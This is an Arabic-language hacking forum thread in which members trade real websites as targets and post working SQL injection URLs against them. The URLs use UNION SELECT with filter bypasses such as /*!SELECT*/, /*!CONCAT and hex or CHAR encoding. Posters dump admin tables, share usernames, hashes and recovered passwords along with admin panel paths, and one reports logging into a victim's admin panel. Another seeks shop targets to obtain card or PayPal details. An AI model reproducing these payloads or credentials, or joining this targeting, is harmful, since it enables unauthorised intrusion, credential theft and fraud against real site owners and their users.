العدد (3) من غرفة الحقن

[agentsimo]

السلام عليكم شباب كيف احولكم ?
هل حقنتي السابقة صحيحة ?
و هل من هدف جديد ?

[aircrack -ng]

اقتباس المشاركة الأصلية كتبت بواسطة _darkman_ أخي صمودة بالنسبة للأنترنت أنا أيضا 256 ميقا بايت نتاع الزواولة ههههههههههههههههههههههههههه

هههههههههه انا استعمل موبي كوناكت تاع موبليس
يايما شحال ثقيلة ههههههههههههههه
نوكل عليهم ربي هههههههههههه

هدف جديد سهل الحقن وهذا اول موقع حقنته في بداتيتي في السكيول
ذكريات يعني هههههههههههa012

http://www.michaelkenna.net/publicat...tail.php?id=79

[darkman.dz]

اقتباس المشاركة الأصلية كتبت بواسطة agentsimo السلام عليكم شباب كيف احولكم ? هل حقنتي السابقة صحيحة ? و هل من هدف جديد ?

أي حقنة ؟

[agentsimo]

تم الحقن
http://www.michaelkenna.net/publicat...ail.php?id=-79 UNION SELECT 1,2,3,4,5,6,7,8,9,group_concat(user,0x3a,password) ,11,12+from+tblUsers--

صفحة الادمين https://www.michaelkenna.net/admin/login.php
الهاشات لم افكها

[aircrack -ng]

اقتباس المشاركة الأصلية كتبت بواسطة agentsimo تم الحقن http://www.michaelkenna.net/publicat...ail.php?id=-79 UNION SELECT 1,2,3,4,5,6,7,8,9,group_concat(user,0x3a,password) ,11,12+from+tblUsers-- صفحة الادمين https://www.michaelkenna.net/admin/login.php الهاشات لم افكها

تسلم اخي
ممكن تعيرني شوية نت لانو النت تبعي بيموت هههههههههه:a09:
بطل اخي واصل
الهاش انا حاولت معه كثير بس ماقدرت افكو يمكن فيه احد الاخوان يقدر يفكو

[agentsimo]

_darkman_
************
يوجد في الصفحة السابقة اي صفحة 5 الرد التالت

[agentsimo]

عبد الصمد
********
ههههههههههه انا ايضا عندي النت تقيييلة نحن في المغرب طبقو علينا المحدودية ف النت و كترت الضغط على الشبكة هده العوامل تتقل النت انا اشتعمل موديم 3G
بالنسبة لهاش فجرب ان افك الاول استعملت هافيج فاعطاني -=notfound=- اضن هو هدا الباس

[agentsimo]

Plain text of e9fed4e7d2879e7c8c331629e9a4dde9 is -=notfound=-

[agentsimo]

هل من اهداف لشوب
لاني محتاج فيزا او بايبل لاقتني سيرفر كونتر ان شاء الله :c

[إسلام العالم]

إليكم وين صلت

أول الشي الموقع عليه حماية على أمر العواميد تم التخطي هكذا

اقتباس http://www.faddoul-trade.com/product...*/%201,2,3,4,5

بعدين في حماية على @@version تخطينا هكذا

اقتباس http://www.faddoul-trade.com/product...on%28%29,3,4,5

الموقع عليه حماية على امر concat يا شباب تم التخطيب هكدا

اقتباس http://www.faddoul-trade.com/product-det.php?l=2&id=-11 UNION /*!SELECT*/ 1,unhex(hex(column_name)),3,4,5+from+information_s chema.columns+where+column_name +like+char(37, 112, 97, 115, 115, 37)

إسم الجدول : members

إسم عامود الباس : pass_word

إسم عامود اليوزر : public

باس :7684

اليوزر : 4

لا أعرف إذا الشغل صحيح أم لا

[إسلام العالم]

والله يا إخوة ما بخفي عليكم الموقع بدو شغل

[Victors]

السلام عليكم شباب

قلت قبل ما انام اجيب لكم موقع

اتفضلوا

http://www.aboutinphuket.com/phuket-...php?rest_id=21

الموقع سهل الحقن طلعت بيانات الادمن بس الباسوورد مشفر بطريقة غريبة

smilies9

يالله اشوفكم بكره تصبحوا على خير

[root4x]

امممم

اليوزر aip

الباس 1234

مسار لوحة التحكم admin

بس مادري ليش مو راضي يدخل :(

انتو حاولو و شوفو

[aircrack -ng]

اقتباس المشاركة الأصلية كتبت بواسطة إسلام العالم إليكم وين صلت أول الشي الموقع عليه حماية على أمر العواميد تم التخطي هكذا بعدين في حماية على @@version تخطينا هكذا الموقع عليه حماية على امر concat يا شباب تم التخطيب هكدا إسم الجدول : members إسم عامود الباس : pass_word إسم عامود اليوزر : public باس :7684 اليوزر : 4 لا أعرف إذا الشغل صحيح أم لا

هلا اخي
تخطي مشكل معرفة الاصدار

http://www.faddoul-trade.com/product-det.php?l=2&id=-11 UNION /*!SELECT*/ 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5

/*!CONCAT
الموقع مانع كلمة concat
والتخطي ب

/*!CONCAT

http://www.faddoul-trade.com/product-det.php?l=2&id=-11 UNION /*!SELECT*/ 1,/*!CONCAT(table_name,0x3a,column_name,0x3a,table_schema) ,3,4,5+from+information_schema.columns

على فكرة الموقع مانع الامر group_ الاستعلام بlimit
فيه جدول واحد فقط

http://www.faddoul-trade.com/product-det.php?l=2&id=-11 UNION /*!SELECT*/ 1,/*!CONCAT(table_name,0x3a,column_name,0x3a,table_schema) ,3,4,5+from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, 115, 115, 37)

جدول اليوزر

http://www.faddoul-trade.com/product-det.php?l=2&id=-11 UNION /*!SELECT*/ 1,/*!CONCAT(table_name,0x3a,column_name,0x3a,table_schema) ,3,4,5+from+information_schema.columns+where+table_name=0x6d656d62657273+limit+1,1

الحقنة كاملة

http://www.faddoul-trade.com/product-det.php?l=2&id=-11 UNION /*!SELECT*/ 1,UNHEX(HEX(/*!CONCAT(user_name,0x3a,id,0x3a,pass_word))) ,3,4,5+from+members

وللبحث عن شيخ القبيلة استعمل limit

[aircrack -ng]

اقتباس المشاركة الأصلية كتبت بواسطة Victors السلام عليكم شباب قلت قبل ما انام اجيب لكم موقع اتفضلوا http://www.aboutinphuket.com/phuket-...php?rest_id=21 الموقع سهل الحقن طلعت بيانات الادمن بس الباسوورد مشفر بطريقة غريبة smilies9 يالله اشوفكم بكره تصبحوا على خير

الحقنة كاملة

http://www.aboutinphuket.com/phuket-about-restaurant-detail.php?rest_id=-21 UNION SELECT 1,group_concat(admin_name,0x3a,admin_id,0x3a,admin_pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+admin--

اليوزر aip
الباس j4**c+p(aip)

مسار اللوحة
http://www.aboutinphuket.com/admin/

تم دخولي للوحة في انتضاركم اخوتي للقضاء عليه